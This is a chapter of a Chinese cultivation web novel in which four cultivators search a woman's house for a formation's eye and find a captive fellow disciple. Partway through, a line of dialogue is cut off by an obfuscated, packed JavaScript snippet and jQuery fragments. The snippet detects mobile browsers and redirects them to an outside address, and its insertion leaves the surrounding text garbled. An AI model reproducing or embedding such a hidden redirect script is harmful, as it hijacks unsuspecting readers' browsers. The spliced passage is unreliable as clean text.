35.风起洛陵一梦浮生尽(9)
作品:《我怎么成修仙界救世主了》 元知意扑上前,一把将小春儿搂进怀里,细瘦的臂弯紧紧箍在小孩圆滚滚的身体上,眼里充斥着戒备。
“我们是沧州的散修,受人所托云游至此,路过这里,想歇歇脚,并无恶意。”
宋杭一见她过来,便用之前的说法,看能否借此进入屋内。
元知意谨慎地上下打量几人一番,眼神几番晦涩,试探着问道,“洛陵?”
谢婉记得江城就在洛陵,连忙接话,“对对对,洛陵江城。”
元知意抱着小春儿的手松了松,嘴唇嗫嚅几下,“元?”
“正是受江城元氏所托,莫非你知晓内情,认识那位唤作元知意的姑娘?”
宋杭一眼见有戏,眼珠一转,便顺着她继续演下去。
元知意双眼瞪大,手臂颤颤地环住孩子,最终还是放开。
他欢快地原地蹦跶一下,捡起掉落的菜叶,又去逗弄那只兔子。
“我就是元知意,你们随我进屋吧。”
她的声音低沉沉的,没什么精气神,垂下的睫毛盖住黝黑的瞳孔,嘴角平平,转过身往里走。
云璇总觉得她的反应十分怪异,但他们也只是想进屋找阵眼,没必要深究,能进去便好。
小春儿看他们都进屋去了,手里捏着几朵地上摘来的野花,屁颠颠地跟进去。
他先是给了元知意一朵,“娘,戴花花。”
元知意便半蹲下身,扯出抹浅笑,“好,你给娘带上好不好?”
等到他那肉乎乎的小手艰难地把花茎插稳后,这才原地打个转,仰着脖子找到云璇的身影。
短胖的手臂抻开,手心那朵蓝色的小花已被热气熏得有些蔫了,花瓣垂着。
“姐姐……花花……”
云璇没想到这是元知意的孩子,微一愣神,小春儿便扯她衣角催促。
她回过神,匆忙侧偏过头,递到他手边,那宝蓝色的花儿便嵌进莲花钗和结状发髻之间。
“谢谢你呀。”
卫徵不由得侧目一眼。
他手里还剩朵花,左右看看,两步跑过去丢到谢婉身上,再蹬蹬蹬跑回来躲进元知意身后。
“哎,怎么不帮我戴。”
小春儿咧嘴,“略略略。”
元知意耷着眉,掀起眼皮瞄眼小春儿,“去去去,净捣乱,出去玩去。”
小春儿被娘亲说了一句,瘪嘴垂头吊手地走出去。
“你们先坐,我去倒点水来。”
“我来帮忙吧。”
云璇起身跟上,来到侧屋,眼神扫视一圈,没在明面上看见那个醒目的红漆木雕。
她如今倒茶很有一套了,熟练地往托盘里摆了五个茶盏,拎起小茶壶晃晃。
“还没泡呢,只有散茶了。”
元知意接过茶壶,从柜里拿出块茶饼,挖出一小块丢进壶中,试了试烧好的水温,倒进茶壶里。
茶叶被高处流下的热水冲散,在壶里回旋着打转,清澈的水染上暗色,元知意拿起壶盖,盖住了四散的茶香。
“给我吧。”
见云璇下意识端起托盘往外走,元知意有些莫名地叫住她,拿过托盘。
到底谁是主人谁是客?
云璇缀在她身后回到堂屋,坐在卫徵和宋杭一中间的空位上。
元知意微曲着腰,往每盅茶盏里满上茶水,递给几人。
之前的几扇门,都是这四人伺候她,这会倒过来,反倒不适应。
她大抵也没怎么做过这些事,动作生涩,神情也不太自然。
云璇接盏时便低垂眼眸,视线落在桌案上,并不看她。
那双皓白的腕子上,赫然两道炸开的疤痕,藏在衣袖里若隐若现,寻常言语很难注意到。
云璇大骇,手上一抖,杯中茶水倾洒出大半,浇在手背上。
这样在两边脉门同时炸开的痕迹,只会是灵脉自爆。
脉门是灵气从修者体内渡至灵器的闸口,但若不断将全身灵力汇聚脉门,却不泄出,反而往外冲击,皮肉瞬间炸开,周身脉络尽碎。
难怪之前在院中,元知意无法察觉到他们靠近,原来已经自爆经脉,哪里还能动用灵力。
卫徵皱眉,拿过手帕细细擦拭云璇手上烫出的红痕,这番靠近,便也看见那两道伤疤,旋即动作滞住。
元知意很快抽回手,见桌面水光涔涔,便转身去找抹布。
卫徵趁机凑到云璇耳边,低声道,“堂屋没有,内间呢?”
云璇拧着眉,尚被元知意破碎的灵脉诧住,只顾得上轻摇下头回应他。
五州修仙界,无人不知,饮川子乃前任魔尊之弟,而那饮川子在灵域中唤言蹊子的幻象为“兄长大人”。
言蹊子的身份不言而喻,既然如此,又是谁能迫使元知意到了自废灵脉的地步。
元氏没有这个能耐,总不会是言蹊子吧?
谢婉看两人交头接耳,云璇又想得入神,递过去个困惑的眼神。
卫徵张嘴,做了个“传音符”的口型。
谢婉悄悄抬手,灵力在指尖闪出荧光,却在接触空气的瞬间消逝,没能画成符形。
她抬眉惊讶,复又尝试几次,皆是如此,只能抬起头摇摇。
宋杭一目睹全程,心下怪异,即便谢婉灵力虚空,但观她脸色,不至于连个传音符也画不出。
云璇拿起茶杯一饮而尽,瞥眼卫徵。
卫徵立刻起身,接过元知意拿在手中的布块,躬身抹掉水渍。
云璇望向元知意,绕到她身前挡住旁边的谢婉,状似无意的关切她。
“多谢姑娘了,怎么就看见你一个人在忙,孩子爹爹呢?”
“死了。”
元知意表情没有任何变化,平淡地注视着云璇。
“啊……那你辛苦了。”
云璇一下不知怎么回答,干巴巴的应声。
谢婉藏在云璇身后,借她遮掩,悄摸撩起桌面篮子上盖着的布巾。
方才他们趁元知意进里屋准备茶水,将堂屋里里外外搜寻了个遍,都没发现木雕娃娃,只差这个竹篮不曾看过。
但这掀开也只有些针线,并没有阵眼。
元知意勾起唇角,鼻腔里发出声笑,“不辛苦,哪里比得上几位云游四方,行侠仗义辛苦呢。”
云璇拿不准她的意思,听着这话皮里阳秋的不对劲,刚要开口。
屋外小孩的声音尖锐地响起,“娘!娘!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216466|196228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兔兔咬我!”
元知意登地一惊,转身推门冲出去,云璇几人隔着墙,隐约听见她慌乱的声音。
“小春儿,娘不是说过要你小心吗?”
几人对视一眼,跑进内间。
内间摆放的箱笼便比堂屋多些,堆叠在柜子四周,四人分头,翻开箱盖查找。
虽然这样做有些不道德,但是快点找到阵眼出去更重要。
可惜这些箱子里也没有存放着木雕娃娃,只有些衣物银钱。
云璇叉着腰,沉思出声,“你们先前说,木雕娃娃是言蹊子做给她的定情信物,那会放在什么地方?”
谢婉坐在榻脚沿上,撑着脑袋苦想,“定情信物的话……妆奁?匣椟?总之得好好保管起来,不过我们都看过了没有呀。”
“妆奁……匣椟……”
宋杭一喃喃地重复谢婉提出的例子,锁眉细想其中关窍。
“是啊!肯定会好好保管起来的,卫徵,我那帕子呢?”
云璇想到什么,激动地小蹦两下,朝卫徵伸出手臂招呼。
卫徵微滞,谨慎地开口,“我贴身放在灵囊中的,你别想要回去。”
“那若是一件无法贴身存放的物件呢?”
宋杭一沉吟,“那便不会随意带出,而是安放在房中了。”
云璇颔首,“正是如此,杜门中元知意被言蹊子带走前,是去梅城探查,岂会把木雕娃娃带在身上。”
卫徵抢过话,“那只猫妖不是说,元二小姐曾失踪三年,再回去便被圈禁了。”
“所以她最开始就没能把木雕娃娃带出家,那东西根本不在这。”
宋杭一想通这一环,猛地看向云璇,“可这不是生门吗?”
“我们方才走的方向没错,以杜门为起始,往伤开休三门方向前行。”
卫徵皱眉,替云璇辩驳。方才是她带的路,若出了问题,便是她首责了。
“是有人调转了阵法方向。”
云璇想到卫徵先前提到的那棵桃花树,脸一白。
谢婉脸上浮出惊惧的神色,“如果这不是生门,那不就是……”
几人身后的柜中蓦地发出碰撞声,柜门跳开一下又合了回去。
谢婉离得最近,顿时跳起来,贴着云璇躲到她身后。
云璇伸手,轻轻挑开那扇小门。
白清阳被人捆住手脚,塞着嘴蜷缩在里面,一见到光亮,嘴里便发出唔唔的声音。
“白道友?!”宋杭一惊讶。
“白师弟,你怎么在这?!”
云璇亦是讶然,见白清阳扭着身体蹬腿示意,连忙帮他解开手脚上绑着的粗绳,谢婉也上前拽掉那块塞嘴的木条。
白清阳甫一获得自由,张开嘴便喊,“快出去!别待在里面!”
“什么?”云璇没听明白,扬眉正欲再问。
外门吱呀一声响了,几人同时回头看去。
一张符当头甩来,莹白的符文在空中亮起,谢婉看得真切,那是张火符。
其中贮藏的灵力被人引动,飏飞着燃起火光,向内屋冲来。
符纸之后,是元知意那张带着恨意的脸,眼里含着一汪泪,决绝又憎恶地死瞪着这方。

